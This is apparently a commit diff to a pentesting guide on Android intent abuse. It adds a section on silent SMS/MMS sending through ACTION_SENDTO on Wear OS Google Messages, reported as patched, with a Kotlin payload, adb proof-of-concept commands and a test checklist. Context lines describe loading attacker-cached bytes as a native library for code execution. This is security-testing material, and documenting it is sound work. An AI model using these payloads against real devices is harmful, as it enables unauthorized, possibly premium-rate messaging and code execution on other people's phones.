You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Bypass strategy: target apps that cache attacker-controlled bytes under their private storage (e.g., HTTP caches). Because permitted paths include `/data` and the app’s private dir, pointing `-xrsdk-pre-init-library` at an absolute path inside the app’s cache can satisfy linker constraints and yield code execution. This mirrors prior cache-to-ELF RCE patterns experienced in other Android apps.
111
107
112
108
109
+
## Confused‑Deputy: Silent SMS/MMS via ACTION_SENDTO (Wear OS Google Messages)
110
+
111
+
Some default messaging apps incorrectly auto‑execute implicit messaging intents, turning them into a confused‑deputy primitive: any unprivileged app can trigger `Intent.ACTION_SENDTO` with `sms:`, `smsto:`, `mms:`, or `mmsto:` and cause an immediate send without a confirmation UI and without the `SEND_SMS` permission.
112
+
113
+
Key points
114
+
- Trigger: implicit `ACTION_SENDTO` + messaging URI scheme.
115
+
- Data: set recipient in the URI, message text in the `"sms_body"` extra.
116
+
- Permissions: none (no `SEND_SMS`), relies on the default SMS/MMS handler.
117
+
- Observed: Google Messages for Wear OS (patched May 2025). Other handlers should be assessed similarly.
118
+
119
+
Minimal payload (Kotlin)
120
+
```kotlin
121
+
val intent =Intent(Intent.ACTION_SENDTO).apply {
122
+
data =Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
123
+
putExtra("sms_body", "Hi from PoC")
124
+
// From a non-Activity context add NEW_TASK
125
+
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
126
+
}
127
+
startActivity(intent)
128
+
```
129
+
130
+
ADB PoC (no special permissions)
131
+
```bash
132
+
# SMS/SMS-to
133
+
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
134
+
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890" --es sms_body "hello"
135
+
136
+
# MMS/MMS-to (handler-dependent behaviour)
137
+
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
138
+
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890" --es sms_body "hello"
139
+
```
140
+
141
+
Attack surface expansion (Wear OS)
142
+
- Any component capable of launching activities can fire the same payload: Activities, foreground Services (with `FLAG_ACTIVITY_NEW_TASK`), Tiles, Complications.
143
+
- If the default handler auto‑sends, abuse can be one‑tap or fully silent from background contexts depending on OEM policies.
144
+
145
+
Pentest checklist
146
+
- Resolve `ACTION_SENDTO` on target to identify the default handler; verify whether it shows a compose UI or silently sends.
147
+
- Exercise all four schemes (`sms:`, `smsto:`, `mms:`, `mmsto:`) and extras (`sms_body`, optionally `subject` for MMS) to check behaviour differences.
148
+
- Consider charged destinations/premium‑rate numbers when testing on real devices.
149
+
150
+
113
151
## Other classic Intent injection primitives
114
152
115
153
- startActivity/sendBroadcast using attacker-supplied `Intent` extras that are later re-parsed (`Intent.parseUri(...)`) and executed.
0 commit comments